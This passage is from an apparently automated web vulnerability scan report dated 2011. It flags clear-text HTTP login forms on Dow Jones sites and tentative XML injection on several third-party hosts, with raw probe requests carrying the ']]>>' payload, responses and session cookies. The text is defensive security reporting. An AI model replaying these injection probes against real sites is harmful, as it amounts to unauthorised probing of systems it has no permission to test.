User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; DJSESSION=BIZO%3Dbiz%3D1053%3B; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; Barrons_Community=; s_sq=djglobal%2Cdjbarrons%3D%2526pid%253DStreetwise_SB50001424052970203286304576313262992330454%2526pidt%253D1%2526oid%253Dhttp%25253A//topics.barrons.com/person/S/michael-santoli/6041%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:50 GMT
Server: Apache/2.0.58 (Unix)
X-DEBUG-BOX-IDENT: secj2kapachep03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /person/S/michael-santoli/6041
X-DEBUG-NAMESPACE: reno-secaucus-barrons
Last-Modified: Sat, 14 May 2011 10:29:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 51725

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<li class="mainLogin hidden" id="nonSubLoginArea">

<form method="post" action="http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login" name="login_form" id="login_form">
<input name="url" value="http://online.barrons.com/home-page" type="hidden">
...[SNIP]...
<li class="loginPassword">Password: <input class="password" type="password" name="password" /></li>
...[SNIP]...

7.28. http://topics.wsj.com/djscript/latest/dj/widget/panels/view/SlidePanel.js previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/djscript/latest/dj/widget/panels/view/SlidePanel.js

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /djscript/latest/dj/widget/panels/view/SlidePanel.js HTTP/1.1
Host: topics.wsj.com
Proxy-Connection: keep-alive
Referer: http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; rsi_csl=; rsi_segs=; mbox=check#true#1305367858|session#1305367797515-52119#1305369658; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 10:12:32 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep08 - Sat 05/14/11 - 00:44:45 EDT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 79968

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>
<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

7.29. http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052 previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/subject/W/wall-street-journal/nbc-news-polls/6052

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /subject/W/wall-street-journal/nbc-news-polls/6052 HTTP/1.1
Host: topics.wsj.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_invisit=true; rsi_csl=; rsi_segs=; mbox=check#true#1305367858|session#1305367797515-52119#1305369658; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:23 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Fri 05/13/11 - 06:15:02 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:12:38 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 117835

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>
<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

7.30. http://www.fins.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fins.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.fins.com/default.aspx

The form contains the following password field:

ctl00$ucloginPopup$txtPwd

Request

GET / HTTP/1.1
Host: www.fins.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ASP.NET_SessionId=e5zagi55hhe0fo55do5b43n2; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:12:56 GMT
Content-Length: 62974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><meta http-equiv="con
...[SNIP]...
<div class="Content clearfix">
<form name="aspnetForm" method="post" action="default.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<br />

<input name="ctl00$ucloginPopup$txtPwd" type="password" maxlength="25" id="ctl00_ucloginPopup_txtPwd" class="textbox pwd" />
<a id="ctl00_ucloginPopup_btnLogin" class="form_submit button shadeA arrowRight" href="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("ctl00$ucloginPopup$btnLogin&q
...[SNIP]...

7.31. http://www.fins.com/Job-Interview-Tips previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fins.com
Path:	/Job-Interview-Tips

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.fins.com/Job-Interview-Tips4.aspx

The form contains the following password field:

ctl00$ucloginPopup$txtPwd

Request

GET /Job-Interview-Tips HTTP/1.1
Host: www.fins.com
Proxy-Connection: keep-alive
Referer: http://www.fins.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=ullu4a4500pdwz3zq44mym3c; s_cc=true; s_vnum=1307959988264%26vn%3D1; __utmz=1.1305367988.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.459272140.1305367988.1305367988.1305367988.1; __utmc=1; __utmb=1.1.10.1305367988; _chartbeat2=y9xek800w7xujvaj; s_invisit=true; s_sq=djfulton%2Cdjglobal%3D%2526pid%253DFINS_default.aspx_1%2526pidt%253D1%2526oid%253Dhttp%25253A//www.fins.com/Job-Interview-Tips%2526ot%253DA

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:19:33 GMT
Content-Length: 42486

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><meta http-equiv="con
...[SNIP]...
<div class="Content clearfix">
<form name="aspnetForm" method="post" action="Job-Interview-Tips4.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<br />

<input name="ctl00$ucloginPopup$txtPwd" type="password" maxlength="25" id="ctl00_ucloginPopup_txtPwd" class="textbox pwd" />
<a id="ctl00_ucloginPopup_btnLogin" class="form_submit button shadeA arrowRight" href="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("ctl00$ucloginPopup$btnLogin&q
...[SNIP]...

7.32. http://www.fins.com/Tour.aspx previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fins.com
Path:	/Tour.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.fins.com/Tour.aspx

The form contains the following password field:

ctl00$ucloginPopup$txtPwd

Request

GET /Tour.aspx HTTP/1.1
Host: www.fins.com
Proxy-Connection: keep-alive
Referer: http://www.fins.com/Job-Interview-Tips
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=ullu4a4500pdwz3zq44mym3c; s_vnum=1307959988264%26vn%3D1; __utmz=1.1305367988.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; __utma=1.459272140.1305367988.1305367988.1305367988.1; __utmc=1; __utmb=1.2.10.1305367988; _chartbeat2=y9xek800w7xujvaj; s_invisit=true; s_sq=djfulton%2Cdjglobal%3D%2526pid%253DFINS_job-interview-tips4.aspx_1%2526pidt%253D1%2526oid%253Dhttp%25253A//www.fins.com/Tour.aspx%2526ot%253DA

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:34:03 GMT
Content-Length: 40184

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><meta http-equiv="con
...[SNIP]...
<div class="Content clearfix">
<form name="aspnetForm" method="post" action="Tour.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<br />

<input name="ctl00$ucloginPopup$txtPwd" type="password" maxlength="25" id="ctl00_ucloginPopup_txtPwd" class="textbox pwd" />
<a id="ctl00_ucloginPopup_btnLogin" class="form_submit button shadeA arrowRight" href="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("ctl00$ucloginPopup$btnLogin&q
...[SNIP]...

7.33. http://www.smartmoney.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.smartmoney.com/login/dologin.cfm

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.smartmoney.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:13:34 GMT
Server: Apache/2.2.3 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2ksmwap03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /
X-DEBUG-NAMESPACE: com-sm
Set-Cookie: djcs_route=02fb002c-b936-4695-85ac-26f056fb68c4; domain=.smartmoney.com; path=/; Expires=Tue May 11 06:13:34 2021; max-age=315360000
FastDynaPage-ServerInfo: sbkj2ksmwap03 - Sat 05/14/11 - 06:03:15 EDT
Last-Modified: Sat, 14 May 2011 10:03:15 GMT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:13:49 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 105161
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.faceboo
...[SNIP]...
<div class="popupContent">
                           <form method="post" action="http://www.smartmoney.com/login/dologin.cfm">
                           <div class="loginLabel">
...[SNIP]...
</label>
                           <input id="inlinePassword" type="password" name="password" value="" maxlength="20" autocomplete="off" tabindex="2" />
                           </div>
...[SNIP]...

7.34. http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.smartmoney.com/login/dologin.cfm

The form contains the following password field:

password

Request

GET /invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/ HTTP/1.1
Host: www.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.1.10.1305368018; s_vnum=1307960020151%26vn%3D1; s_dbfe=1305368020152; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjsm%3D%2526pid%253DSM_Home%252520Page_0_0_SH_0001%2526pidt%253D1%2526oid%253Dhttp%25253A//www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:19:26 GMT
Server: Apache/2.2.3 (Red Hat)
X-DEBUG-BOX-IDENT: sbkj2ksmwap03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.5-2-x64
X-DEBUG-REQUEST: /invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
X-DEBUG-NAMESPACE: com-sm
FastDynaPage-ServerInfo: sbkj2ksmwap03 - Sat 05/14/11 - 00:30:32 EDT
Last-Modified: Sat, 14 May 2011 04:30:32 GMT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:19:41 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 82155
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.faceboo
...[SNIP]...
<div class="popupContent">
                                           <form method="post" action="http://www.smartmoney.com/login/dologin.cfm">
                                           <div class="loginLabel">
...[SNIP]...
</label>
                                           <input id="inlinePassword" type="password" name="password" value="" maxlength="20" autocomplete="off" tabindex="2" />
                                           </div>
...[SNIP]...

8. XML injection previous next
There are 8 instances of this issue:

http://api.dimestore.com/viapi [action parameter]
http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 1]
http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 2]
http://smartmoney.onespot.com/static/nextclick/content_exchange.html [REST URL parameter 1]
http://smartmoney.onespot.com/static/nextclick/content_exchange.html [REST URL parameter 2]
http://smartmoney.onespot.com/static/nextclick/content_exchange.html [REST URL parameter 3]
http://use.typekit.com/k/uhh2the-e.css [REST URL parameter 1]
http://use.typekit.com/k/uhh2the-e.css [REST URL parameter 2]

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.

8.1. http://api.dimestore.com/viapi [action parameter] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://api.dimestore.com
Path:	/viapi

Issue detail

The action parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the action parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /viapi?action=project]]>>&projectId=3222&identifier=301358184 HTTP/1.1
Host: api.dimestore.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/RGA/iview/301358184/direct/01/3180697?click=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/c%3B239193730%3B0-0%3B0%3B25648719%3B4307-300/250%3B41514229/41532016/1%3B%3B%7Eokv%3D%3B%21category%3Drichmedia%3Bsz%3D300x250%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 14 May 2011 10:32:06 GMT
Content-Type: text/xml
Connection: keep-alive
Content-Length: 105

<?xml version='1.0' encoding='iso-8859-1' ?><response> <status>ERROR_MISSING_PARAM</status></response>

8.2. http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform0.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /widgets]]>>/tweet_button.html?_=1305368041153&count=none&counturl=http%3A%2F%2Fkara.allthingsd.com%2F20110513%2Fdear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy%2F%3Fmod%3Dtweet&lang=en&related=karaswisher%3AKara%20Swisher%2Cwaltmossberg%3AWalt%20Mossberg%2Cjohnpaczkowski%3AJohn%20Paczkowski%2Cpkafka%3APeter%20Kafka%2CIna%20Fried%3Ainafried%2CArik%20Hesseldahl%3Aahess247%2CTricia%20Duryee%3Atriciad%2CLiz%20Gannes%3Alizgannes%2Ckabster728%3AKatherine%20Boehret%2Callthingsd%3AAll%20Things%20Digital&text=Dear%20Yahoo%20Board%3A%20Your%20Investors%20Are%20on%20Line%202%20and%20They%E2%80%99re%20Not%20Happy&url=http%3A%2F%2Fbit.ly%2FlxBlPU HTTP/1.1
Host: platform0.twitter.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059

Response

HTTP/1.1 404 Not Found
Content-Type: application/xml
Content-Length: 294
Date: Sat, 14 May 2011 10:23:19 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>widgets]]>>/tweet_button.html</Key><RequestId>76DD3CF2C80649E6</Reque
...[SNIP]...

8.3. http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://platform0.twitter.com
Path:	/widgets/tweet_button.html

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /widgets/tweet_button.html]]>>?_=1305368041153&count=none&counturl=http%3A%2F%2Fkara.allthingsd.com%2F20110513%2Fdear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy%2F%3Fmod%3Dtweet&lang=en&related=karaswisher%3AKara%20Swisher%2Cwaltmossberg%3AWalt%20Mossberg%2Cjohnpaczkowski%3AJohn%20Paczkowski%2Cpkafka%3APeter%20Kafka%2CIna%20Fried%3Ainafried%2CArik%20Hesseldahl%3Aahess247%2CTricia%20Duryee%3Atriciad%2CLiz%20Gannes%3Alizgannes%2Ckabster728%3AKatherine%20Boehret%2Callthingsd%3AAll%20Things%20Digital&text=Dear%20Yahoo%20Board%3A%20Your%20Investors%20Are%20on%20Line%202%20and%20They%E2%80%99re%20Not%20Happy&url=http%3A%2F%2Fbit.ly%2FlxBlPU HTTP/1.1
Host: platform0.twitter.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059

Response

HTTP/1.1 404 Not Found
Content-Type: application/xml
Content-Length: 294
Date: Sat, 14 May 2011 10:23:20 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>widgets/tweet_button.html]]>></Key><RequestId>9076F8817DC9A3EB</Reque
...[SNIP]...

8.4. http://smartmoney.onespot.com/static/nextclick/content_exchange.html [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://smartmoney.onespot.com
Path:	/static/nextclick/content_exchange.html

Issue detail

Request

GET /static]]>>/nextclick/content_exchange.html?layout=vertical HTTP/1.1
Host: smartmoney.onespot.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Age: 0
Content-Type: application/xml
Date: Sat, 14 May 2011 10:23:37 GMT
Server: AmazonS3
Via: 1.1 varnish
x-amz-id-2: 0QLtEKO5zrAwMC2rGscP/9c3345XaZy0X+JljwAYB5TSjekmZx0TRf3MJlwDpcNs
x-amz-request-id: 7F975F4876D7AF01
X-Varnish: 1066831801
Content-Length: 346
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>customer-assets/smartmoney.onespot.com/static]]>>/nextclick/content_e
...[SNIP]...

8.5. http://smartmoney.onespot.com/static/nextclick/content_exchange.html [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://smartmoney.onespot.com
Path:	/static/nextclick/content_exchange.html

Issue detail

Request

GET /static/nextclick]]>>/content_exchange.html?layout=vertical HTTP/1.1
Host: smartmoney.onespot.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
